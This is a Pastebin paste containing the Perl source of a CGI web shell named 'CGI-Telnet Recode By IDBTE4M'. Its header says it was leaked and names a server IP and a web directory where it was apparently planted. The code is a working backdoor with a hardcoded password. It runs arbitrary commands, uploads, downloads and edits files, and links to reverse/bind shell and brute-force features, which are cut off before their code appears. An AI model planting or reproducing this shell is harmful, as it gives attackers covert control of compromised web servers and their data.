API tools faq
paste
Guest User

leakead-idb.te4m

a guest
May 9th, 2017
90
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.74 KB | None | 0 0
raw download clone embed print report
  1. Leaked by : PELITABANGSA .CA
  2. [ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
  3. IP 80.241.214.128
  4. Dir : /home/withcomp/public_html/includes/~_~
  5.  
  6. #!/usr/bin/perl -I/usr/local/bandmin
  7. use MIME::Base64;
  8. $Version= "CGI-Telnet Recode By IDBTE4M";
  9. $EditPersion="IDBTE4M";
  10.  
  11. $Password = "jancok";
  12. sub Is_Win(){
  13. $os = &trim($ENV{"SERVER_SOFTWARE"});
  14. if($os =~ m/win/i){
  15. return 1;
  16. }else{
  17. return 0;
  18. }
  19. }
  20. $WinNT = &Is_Win();
  21.  
  22. $NTCmdSep = "&";
  23.  
  24. $UnixCmdSep = ";";
  25.  
  26. $CommandTimeoutDuration = 10;
  27.  
  28. $ShowDynamicOutput = 1;
  29.  
  30. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  31.  
  32. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  33. $CmdPwd = ($WinNT ? "cd" : "pwd");
  34. $PathSep = ($WinNT ? "\\" : "/");
  35. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  36. $cols= 130;
  37. $rows= 26;
  38.  
  39. sub ReadParse
  40. {
  41. local (*in) = @_ if @_;
  42. local ($i, $loc, $key, $val);
  43. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  44. if($ENV{'REQUEST_METHOD'} eq "GET")
  45. {
  46. $in = $ENV{'QUERY_STRING'};
  47. }
  48. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  49. {
  50. binmode(STDIN) if $MultipartFormData & $WinNT;
  51. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  52. }
  53. # handle file upload data
  54. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  55. {
  56. $Boundary = '--'.$1; # please refer to RFC1867
  57. @list = split(/$Boundary/, $in);
  58. $HeaderBody = $list[1];
  59. $HeaderBody =~ /\r\n\r\n|\n\n/;
  60. $Header = $`;
  61. $Body = $';
  62. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  63. $in{'filedata'} = $Body;
  64. $Header =~ /filename=\"(.+)\"/;
  65. $in{'f'} = $1;
  66. $in{'f'} =~ s/\"//g;
  67. $in{'f'} =~ s/\s//g;
  68.  
  69. # parse trailer
  70. for($i=2; $list[$i]; $i++)
  71. {
  72. $list[$i] =~ s/^.+name=$//;
  73. $list[$i] =~ /\"(\w+)\"/;
  74. $key = $1;
  75. $val = $';
  76. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  77. $val =~ s/%(..)/pack("c", hex($1))/ge;
  78. $in{$key} = $val;
  79. }
  80. }
  81. else # standard post data (url encoded, not multipart)
  82. {
  83. @in = split(/&/, $in);
  84. foreach $i (0 .. $#in)
  85. {
  86. $in[$i] =~ s/\+/ /g;
  87. ($key, $val) = split(/=/, $in[$i], 2);
  88. $key =~ s/%(..)/pack("c", hex($1))/ge;
  89. $val =~ s/%(..)/pack("c", hex($1))/ge;
  90. $in{$key} .= "" if (defined($in{$key}));
  91. $in{$key} .= $val;
  92. }
  93. }
  94. }
  95. #------------------------------------------------------------------------------
  96. # function EncodeDir: encode base64 Path
  97. #------------------------------------------------------------------------------
  98. sub EncodeDir
  99. {
  100. my $dir = shift;
  101. $dir = trim(encode_base64($dir));
  102. $dir =~ s/(\r|\n)//;
  103. return $dir;
  104. }
  105.  
  106. sub PrintPageHeader
  107. {
  108. $EncodeCurrentDir = EncodeDir($CurrentDir);
  109. my $id = `id` if(!$WinNT);
  110. my $info = `uname -s -n -r -i`;
  111. print "Content-type: text/html\n\n";
  112. print <<END;
  113. <html>
  114. <head>
  115. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  116. <title>[ $Version ]</title>
  117. $HtmlMetaHeader
  118. </head>
  119. <style>
  120. body{
  121. font: 10pt Verdana;
  122. color: #fff;
  123. }
  124. tr,td,table,input,textarea {
  125. BORDER-RIGHT: #3e3e3e 1px solid;
  126. BORDER-TOP: #3e3e3e 1px solid;
  127. BORDER-LEFT: #3e3e3e 1px solid;
  128. BORDER-BOTTOM: #3e3e3e 1px solid;
  129. }
  130. #domain tr:hover{
  131. background-color: #444;
  132. }
  133. td {
  134. color: #2BA8EC;
  135. }
  136. .listdir td{
  137. text-align: center;
  138. }
  139. .listdir th{
  140. color: #FF9900;
  141. }
  142. .dir,.file
  143. {
  144. text-align: left !important;
  145. }
  146. .dir{
  147. font-size: 10pt;
  148. font-weight: bold;
  149. }
  150. table {
  151. BACKGROUND-COLOR: #111;
  152. }
  153. input {
  154. BACKGROUND-COLOR: Black;
  155. color: #ff9900;
  156. }
  157. input.submit {
  158. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  159. color: #FFFFFF;
  160. border-color: #009900;
  161. }
  162. code {
  163. border: dashed 0px #333;
  164. color: while;
  165. }
  166. run {
  167. border : dashed 0px #333;
  168. color: #FF00AA;
  169. }
  170. textarea {
  171. BACKGROUND-COLOR: #1b1b1b;
  172. font: Fixedsys bold;
  173. color: #aaa;
  174. }
  175. A:link {
  176. COLOR: #2BA8EC; TEXT-DECORATION: none
  177. }
  178. A:visited {
  179. COLOR: #2BA8EC; TEXT-DECORATION: none
  180. }
  181. A:hover {
  182. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  183. color: #FFFFFF; TEXT-DECORATION: none
  184. }
  185. A:active {
  186. color: Red; TEXT-DECORATION: none
  187. }
  188. .listdir tr:hover{
  189. background: #444;
  190. }
  191. .listdir tr:hover td{
  192. background: #444;
  193. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  194. color: #FFFFFF; TEXT-DECORATION: none;
  195. }
  196. .notline{
  197. background: #111;
  198. }
  199. .line{
  200. background: #222;
  201. }
  202. </style>
  203. <script language="javascript">
  204. function Encoder(name)
  205. {
  206. var e = document.getElementById(name);
  207. e.value = btoa(e.value);
  208. return true;
  209. }
  210. function chmod_form(i,file)
  211. {
  212. document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  213. document.getElementById("text_" + i).focus();
  214. }
  215. function rm_chmod_form(response,i,perms,file)
  216. {
  217. response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  218. }
  219. function rename_form(i,file,f)
  220. {
  221. f.replace(/\\\\/g,"\\\\\\\\");
  222. var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  223. document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  224. document.getElementById("text_" + i).focus();
  225. }
  226. function rm_rename_form(i,file,f)
  227. {
  228. if(f=='f')
  229. {
  230. document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  231. }else
  232. {
  233. document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  234. }
  235. }
  236. </script>
  237. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  238. <center><code>
  239. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  240. <tr>
  241. <td align="center" rowspan=3>
  242. <b><font size="3">o---[ $EditPersion ]---o</font></b>
  243. </td>
  244. <td>
  245. $info
  246. </td>
  247. <td>Server IP:<font color="#ff9900"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#ff9900">$ENV{'REMOTE_ADDR'}</font>
  248. </td>
  249. </tr>
  250. <tr>
  251. <td colspan="2">
  252. <a href="$ScriptLocation">Home</a> |
  253. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  254. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  255. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  256. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Download File</a> |
  257. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  258. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  259. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  260. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  261. <a href="$ScriptLocation?a=logout">Logout</a> |
  262. <a target='_blank' href="#">Help</a>
  263. </td>
  264. </tr>
  265. <tr>
  266. <td colspan="2">
  267. $id
  268. </td>
  269. </tr>
  270. </table>
  271. <font id="ResponseData" color="#FFFFFF" >
  272. END
  273. }
  274. #------------------------------------------------------------------------------
  275. # Prints the Login Screen
  276. #------------------------------------------------------------------------------
  277. sub PrintLoginScreen
  278. {
  279. print <<END;
  280. <pre><script type="text/javascript">
  281. TypingText = function(element, interval, cursor, finishedCallback) {
  282. if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  283. this.running = true; // Never run.
  284. return;
  285. }
  286. this.element = element;
  287. this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  288. this.interval = (typeof interval == "undefined" ? 100 : interval);
  289. this.origText = this.element.innerHTML;
  290. this.unparsedOrigText = this.origText;
  291. this.cursor = (cursor ? cursor : "");
  292. this.currentText = "";
  293. this.currentChar = 0;
  294. this.element.typingText = this;
  295. if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  296. TypingText.all.push(this);
  297. this.running = false;
  298. this.inTag = false;
  299. this.tagBuffer = "";
  300. this.inHTMLEntity = false;
  301. this.HTMLEntityBuffer = "";
  302. }
  303. TypingText.all = new Array();
  304. TypingText.currentIndex = 0;
  305. TypingText.runAll = function() {
  306. for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  307. }
  308. TypingText.prototype.run = function() {
  309. if(this.running) return;
  310. if(typeof this.origText == "undefined") {
  311. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
  312. return;
  313. }
  314. if(this.currentText == "") this.element.innerHTML = "";
  315. // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
  316. if(this.currentChar < this.origText.length) {
  317. if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  318. this.tagBuffer = "<";
  319. this.inTag = true;
  320. this.currentChar++;
  321. this.run();
  322. return;
  323. } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  324. this.tagBuffer += ">";
  325. this.inTag = false;
  326. this.currentText += this.tagBuffer;
  327. this.currentChar++;
  328. this.run();
  329. return;
  330. } else if(this.inTag) {
  331. this.tagBuffer += this.origText.charAt(this.currentChar);
  332. this.currentChar++;
  333. this.run();
  334. return;
  335. } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  336. this.HTMLEntityBuffer = "&";
  337. this.inHTMLEntity = true;
  338. this.currentChar++;
  339. this.run();
  340. return;
  341. } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  342. this.HTMLEntityBuffer += ";";
  343. this.inHTMLEntity = false;
  344. this.currentText += this.HTMLEntityBuffer;
  345. this.currentChar++;
  346. this.run();
  347. return;
  348. } else if(this.inHTMLEntity) {
  349. this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  350. this.currentChar++;
  351. this.run();
  352. return;
  353. } else {
  354. this.currentText += this.origText.charAt(this.currentChar);
  355. }
  356. this.element.innerHTML = this.currentText;
  357. this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  358. this.currentChar++;
  359. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  360. } else {
  361. this.currentText = "";
  362. this.currentChar = 0;
  363. this.running = false;
  364. this.finishedCallback();
  365. }
  366. }
  367. </script>
  368. </pre>
  369.  
  370. <br>
  371.  
  372. <script type="text/javascript">
  373. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  374. TypingText.runAll();
  375.  
  376. </script>
  377. END
  378. }
  379. #------------------------------------------------------------------------------
  380. # encode html special chars
  381. #------------------------------------------------------------------------------
  382. sub UrlEncode($){
  383. my $str = shift;
  384. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  385. return $str;
  386. }
  387. #------------------------------------------------------------------------------
  388. # Add html special chars
  389. #------------------------------------------------------------------------------
  390. sub HtmlSpecialChars($){
  391. my $text = shift;
  392. $text =~ s/&/&amp;/g;
  393. $text =~ s/"/&quot;/g;
  394. $text =~ s/'/'/g;
  395. $text =~ s/</&lt;/g;
  396. $text =~ s/>/&gt;/g;
  397. return $text;
  398. }
  399. #------------------------------------------------------------------------------
  400. # Add link for directory
  401. #------------------------------------------------------------------------------
  402. sub AddLinkDir($)
  403. {
  404. my $ac=shift;
  405. my @dir=();
  406. if($WinNT)
  407. {
  408. @dir=split(/\\/,$CurrentDir);
  409. }else
  410. {
  411. @dir=split("/",&trim($CurrentDir));
  412. }
  413. my $path="";
  414. my $result="";
  415. foreach (@dir)
  416. {
  417. $path .= $_.$PathSep;
  418. $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  419. }
  420. return $result;
  421. }
  422. #------------------------------------------------------------------------------
  423. # Prints the message that informs the user of a failed login
  424. #------------------------------------------------------------------------------
  425. sub PrintLoginFailedMessage
  426. {
  427. print <<END;
  428.  
  429. Password:<br>
  430. Login incorrect<br><br>
  431. END
  432. }
  433.  
  434. #------------------------------------------------------------------------------
  435. # Prints the HTML form for logging in
  436. #------------------------------------------------------------------------------
  437. sub PrintLoginForm
  438. {
  439. print <<END;
  440. <form name="f" method="POST" action="$ScriptLocation">
  441. <input type="hidden" name="a" value="login">
  442. Login : Administrator<br>
  443. Password:<input type="password" name="p">
  444. <input type="submit" value="Enter">
  445. </form>
  446. END
  447. }
  448. #------------------------------------------------------------------------------
  449. # Prints the footer for the HTML Page
  450. #------------------------------------------------------------------------------
  451. sub PrintPageFooter
  452. {
  453. print "<br><font color=red>o---[ <font color=#ff9900>Edit by $EditPersion </font> ]---o</font></code></center></body></html>";
  454. }
  455. #------------------------------------------------------------------------------
  456. # Retreives the values of all cookies. The cookies can be accesses using the
  457. # variable $Cookies{''}
  458. #------------------------------------------------------------------------------
  459. sub GetCookies
  460. {
  461. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  462. foreach $cookie(@httpcookies)
  463. {
  464. ($id, $val) = split(/=/, $cookie);
  465. $Cookies{$id} = $val;
  466. }
  467. }
  468. #------------------------------------------------------------------------------
  469. # Prints the screen when the user logs out
  470. #------------------------------------------------------------------------------
  471. sub PrintLogoutScreen
  472. {
  473. print "Connection closed by foreign host.<br><br>";
  474. }
  475.  
  476. #------------------------------------------------------------------------------
  477. # Logs out the user and allows the user to login again
  478. #------------------------------------------------------------------------------
  479. sub PerformLogout
  480. {
  481. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  482. &PrintPageHeader("p");
  483. &PrintLogoutScreen;
  484.  
  485. &PrintLoginScreen;
  486. &PrintLoginForm;
  487. &PrintPageFooter;
  488. exit;
  489. }
  490.  
  491. #------------------------------------------------------------------------------
  492. # This function is called to login the user. If the password matches, it
  493. # displays a page that allows the user to run commands. If the password doens't
  494. # match or if no password is entered, it displays a form that allows the user
  495. # to login
  496. #------------------------------------------------------------------------------
  497. sub PerformLogin
  498. {
  499. if($LoginPassword eq $Password) # password matched
  500. {
  501. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  502. &PrintPageHeader;
  503. print &ListDir;
  504. }
  505. else # password didn't match
  506. {
  507. &PrintPageHeader("p");
  508. &PrintLoginScreen;
  509. if($LoginPassword ne "") # some password was entered
  510. {
  511. &PrintLoginFailedMessage;
  512.  
  513. }
  514. &PrintLoginForm;
  515. &PrintPageFooter;
  516. exit;
  517. }
  518. }
  519. #------------------------------------------------------------------------------
  520. # Prints the HTML form that allows the user to enter commands
  521. #------------------------------------------------------------------------------
  522. sub PrintCommandLineInputForm
  523. {
  524. $EncodeCurrentDir = EncodeDir($CurrentDir);
  525. my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  526. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  527. return <<END;
  528. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  529.  
  530. <input type="hidden" name="a" value="command">
  531.  
  532. <input type="hidden" name="d" value="$EncodeCurrentDir">
  533. $Prompt
  534. <input type="text" size="40" name="c" id="c">
  535. <input type="submit" value="Enter">
  536. </form>
  537. END
  538. }
  539. #------------------------------------------------------------------------------
  540. # Prints the HTML form that allows the user to download files
  541. #------------------------------------------------------------------------------
  542. sub PrintFileDownloadForm
  543. {
  544. $EncodeCurrentDir = EncodeDir($CurrentDir);
  545. my $dir = &AddLinkDir("download");
  546. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  547. return <<END;
  548. <form name="f" method="POST" action="$ScriptLocation">
  549. <input type="hidden" name="d" value="$EncodeCurrentDir">
  550. <input type="hidden" name="a" value="download">
  551. $Prompt download<br><br>
  552. Filename: <input type="text" name="f" size="35"><br><br>
  553. Download: <input type="submit" value="Begin">
  554.  
  555. </form>
  556. END
  557. }
  558.  
  559. #------------------------------------------------------------------------------
  560. # Prints the HTML form that allows the user to upload files
  561. #------------------------------------------------------------------------------
  562. sub PrintFileUploadForm
  563. {
  564. $EncodeCurrentDir = EncodeDir($CurrentDir);
  565. my $dir= &AddLinkDir("upload");
  566. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  567. return <<END;
  568. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  569. $Prompt upload<br><br>
  570. Filename: <input type="file" name="f" size="35"><br><br>
  571. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  572. <label for="up">Overwrite if it Exists</label><br><br>
  573. Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
  574. <input type="hidden" name="d" value="$EncodeCurrentDir">
  575. <input type="hidden" name="a" value="upload">
  576. </form>
  577. END
  578. }
  579.  
  580. #------------------------------------------------------------------------------
  581. # This function is called when the timeout for a command expires. We need to
  582. # terminate the script immediately. This function is valid only on Unix. It is
  583. # never called when the script is running on NT.
  584. #------------------------------------------------------------------------------
  585. sub CommandTimeout
  586. {
  587. if(!$WinNT)
  588. {
  589. alarm(0);
  590. return <<END;
  591. </textarea>
  592. <br><font color=yellow>
  593. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  594. <br><font size='6' color=red>Killed it!</font>
  595. END
  596. }
  597. }
  598. #------------------------------------------------------------------------------
  599. # This function displays the page that contains a link which allows the user
  600. # to download the specified file. The page also contains a auto-refresh
  601. # feature that starts the download automatically.
  602. # Argument 1: Fully qualified filename of the file to be downloaded
  603. #------------------------------------------------------------------------------
  604. sub PrintDownloadLinkPage
  605. {
  606. local($FileUrl) = @_;
  607. my $result="";
  608. if(-e $FileUrl) # if the file exists
  609. {
  610. # encode the file link so we can send it to the browser
  611. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  612. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  613. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  614. &PrintPageHeader("c");
  615. $result .= <<END;
  616. Sending File $TransferFile...<br>
  617.  
  618. If the download does not start automatically,
  619. <a href="$DownloadLink">Click Here</a>
  620. END
  621. $result .= &PrintCommandLineInputForm;
  622. }
  623. else # file doesn't exist
  624. {
  625. $result .= "Failed to download $FileUrl: $!";
  626. $result .= &PrintFileDownloadForm;
  627. }
  628. return $result;
  629. }
  630. #------------------------------------------------------------------------------
  631. # This function reads the specified file from the disk and sends it to the
  632. # browser, so that it can be downloaded by the user.
  633. # Argument 1: Fully qualified pathname of the file to be sent.
  634. #------------------------------------------------------------------------------
  635. sub SendFileToBrowser
  636. {
  637. my $result = "";
  638. local($SendFile) = @_;
  639. if(open(SENDFILE, $SendFile)) # file opened for reading
  640. {
  641. if($WinNT)
  642. {
  643. binmode(SENDFILE);
  644. binmode(STDOUT);
  645. }
  646. $FileSize = (stat($SendFile))[7];
  647. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  648. print "Content-Type: application/x-unknown\n";
  649. print "Content-Length: $FileSize\n";
  650. print "Content-Disposition: attachment; filename=$1\n\n";
  651. print while(<SENDFILE>);
  652. close(SENDFILE);
  653. exit(1);
  654. }
  655. else # failed to open file
  656. {
  657. $result .= "Failed to download $SendFile: $!";
  658. $result .=&PrintFileDownloadForm;
  659. }
  660. return $result;
  661. }
  662. #------------------------------------------------------------------------------
  663. # This function is called when the user downloads a file. It displays a message
  664. # to the user and provides a link through which the file can be downloaded.
  665. # This function is also called when the user clicks on that link. In this case,
  666. # the file is read and sent to the browser.
  667. #------------------------------------------------------------------------------
  668. sub BeginDownload
  669. {
  670. $EncodeCurrentDir = EncodeDir($CurrentDir);
  671. # get fully qualified path of the file to be downloaded
  672. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  673. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  674. {
  675. $TargetFile = $TransferFile;
  676. }
  677. else # path is relative
  678. {
  679. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  680. $TargetFile .= $PathSep.$TransferFile;
  681. }
  682.  
  683. if($Options eq "go") # we have to send the file
  684. {
  685. &SendFileToBrowser($TargetFile);
  686. }
  687. else # we have to send only the link page
  688. {
  689. &PrintDownloadLinkPage($TargetFile);
  690. }
  691. }
  692.  
  693. #------------------------------------------------------------------------------
  694. # This function is called when the user wants to upload a file. If the
  695. # file is not specified, it displays a form allowing the user to specify a
  696. # file, otherwise it starts the upload process.
  697. #------------------------------------------------------------------------------
  698. sub UploadFile
  699. {
  700. # if no file is specified, print the upload form again
  701. if($TransferFile eq "")
  702. {
  703. return &PrintFileUploadForm;
  704.  
  705. }
  706. my $result="";
  707. # start the uploading process
  708. $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  709.  
  710. # get the fullly qualified pathname of the file to be created
  711. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  712. $TransferFile =~ m!([^/^\\]*)$!;
  713. $TargetName .= $PathSep.$1;
  714.  
  715. $TargetFileSize = length($in{'filedata'});
  716. # if the file exists and we are not supposed to overwrite it
  717. if(-e $TargetName && $Options ne "overwrite")
  718. {
  719. $result .= "Failed: Destination file already exists.<br>";
  720. }
  721. else # file is not present
  722. {
  723. if(open(UPLOADFILE, ">$TargetName"))
  724. {
  725. binmode(UPLOADFILE) if $WinNT;
  726. print UPLOADFILE $in{'filedata'};
  727. close(UPLOADFILE);
  728. $result .= "Transfered $TargetFileSize Bytes.<br>";
  729. $result .= "File Path: $TargetName<br>";
  730. }
  731. else
  732. {
  733. $result .= "Failed: $!<br>";
  734. }
  735. }
  736. $result .= &PrintCommandLineInputForm;
  737. return $result;
  738. }
  739. #------------------------------------------------------------------------------
  740. # This function is called when the user wants to download a file. If the
  741. # filename is not specified, it displays a form allowing the user to specify a
  742. # file, otherwise it displays a message to the user and provides a link
  743. # through which the file can be downloaded.
  744. #------------------------------------------------------------------------------
  745. sub DownloadFile
  746. {
  747. # if no file is specified, print the download form again
  748. if($TransferFile eq "")
  749. {
  750. &PrintPageHeader("f");
  751. return &PrintFileDownloadForm;
  752. }
  753.  
  754. # get fully qualified path of the file to be downloaded
  755. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  756. {
  757. $TargetFile = $TransferFile;
  758. }
  759. else # path is relative
  760. {
  761. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  762. $TargetFile .= $PathSep.$TransferFile;
  763. }
  764.  
  765. if($Options eq "go") # we have to send the file
  766. {
  767. return &SendFileToBrowser($TargetFile);
  768. }
  769. else # we have to send only the link page
  770. {
  771. return &PrintDownloadLinkPage($TargetFile);
  772. }
  773. }
  774. #------------------------------------------------------------------------------
  775. # This function is called to execute commands. It displays the output of the
  776. # command and allows the user to enter another command. The change directory
  777. # command is handled differently. In this case, the new directory is stored in
  778. # an internal variable and is used each time a command has to be executed. The
  779. # output of the change directory command is not displayed to the users
  780. # therefore error messages cannot be displayed.
  781. #------------------------------------------------------------------------------
  782. sub ExecuteCommand
  783. {
  784. $CurrentDir = &TrimSlashes($CurrentDir);
  785. my $result="";
  786. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  787. {
  788. # we change the directory internally. The output of the
  789. # command is not displayed.
  790. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  791. chomp($CurrentDir = `$Command`);
  792. $result .= &PrintCommandLineInputForm;
  793.  
  794. $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  795. # xuat thong tin khi chuyen den 1 thu muc nao do!
  796. $RunCommand= $WinNT?"dir":"dir -lia";
  797. $result .= &RunCmd;
  798. }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  799. {
  800. $result .= &SaveFileForm;
  801. }else
  802. {
  803. $result .= &PrintCommandLineInputForm;
  804. $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  805. $result .=&RunCmd;
  806. }
  807. $result .= "</textarea>";
  808. return $result;
  809. }
  810. #------------------------------------------------------------------------
  811. # run command
  812. #------------------------------------------------------------------------
  813. sub RunCmd
  814. {
  815. my $result="";
  816. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  817. if(!$WinNT)
  818. {
  819. $SIG{'ALRM'} = \&CommandTimeout;
  820. alarm($CommandTimeoutDuration);
  821. }
  822. if($ShowDynamicOutput) # show output as it is generated
  823. {
  824. $|=1;
  825. $Command .= " |";
  826. open(CommandOutput, $Command);
  827. while(<CommandOutput>)
  828. {
  829. $_ =~ s/(\n|\r\n)$//;
  830. $result .= &HtmlSpecialChars("$_\n");
  831. }
  832. $|=0;
  833. }
  834. else # show output after command completes
  835. {
  836. $result .= &HtmlSpecialChars($Command);
  837. }
  838. if(!$WinNT)
  839. {
  840. alarm(0);
  841. }
  842. return $result;
  843. }
  844. #==============================================================================
  845. # Form Save File
  846. #==============================================================================
  847. sub SaveFileForm
  848. {
  849. my $result ="";
  850. $EncodeCurrentDir = EncodeDir($CurrentDir);
  851. substr($RunCommand,0,5)="";
  852. my $file=&trim($RunCommand);
  853. $save='<br><input name="a" type="submit" value="save" >';
  854. $File=$CurrentDir.$PathSep.$RunCommand;
  855. my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  856. if(-w $File)
  857. {
  858. $rows="23"
  859. }else
  860. {
  861. $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  862. $rows="20"
  863. }
  864. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  865. $RunCommand = "edit $RunCommand";
  866. $result .= <<END;
  867. <form name="f" method="POST" action="$ScriptLocation">
  868.  
  869. <input type="hidden" name="d" value="$EncodeCurrentDir">
  870. $Prompt
  871. <input type="text" size="40" name="c">
  872. <input name="s" type="submit" value="Enter">
  873. <br>Command: <run> $RunCommand </run>
  874. <input type="hidden" name="file" value="$file" > $save <br> $msg
  875. <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  876. END
  877.  
  878. $result .= &HtmlSpecialChars(&FileOpen($File,0));
  879. $result .= "</textarea>";
  880. $result .= "</form>";
  881. return $result;
  882. }
  883. #==============================================================================
  884. # File Open
  885. #==============================================================================
  886. sub FileOpen($){
  887. my $file = shift;
  888. my $binary = shift;
  889. my $result = "";
  890. my $n = "";
  891. if(-f $file){
  892. if(open(FILE,$file)){
  893. if($binary){
  894. binmode FILE;
  895. }
  896. while (($n = read FILE, $data, 1024) != 0) {
  897. $result .= $data;
  898. }
  899. close(FILE);
  900. }
  901. }else
  902. {
  903. return "Not's a File!";
  904. }
  905. return $result;
  906. }
  907. #==============================================================================
  908. # Save File
  909. #==============================================================================
  910. sub SaveFile($)
  911. {
  912. my $Data= shift ;
  913. my $File= shift;
  914. $File=$CurrentDir.$PathSep.$File;
  915. if(open(FILE, ">$File"))
  916. {
  917. binmode FILE;
  918. print FILE $Data;
  919. close FILE;
  920. return 1;
  921. }else
  922. {
  923. return 0;
  924. }
  925. }
  926. #------------------------------------------------------------------------------
  927. # Brute Forcer Form
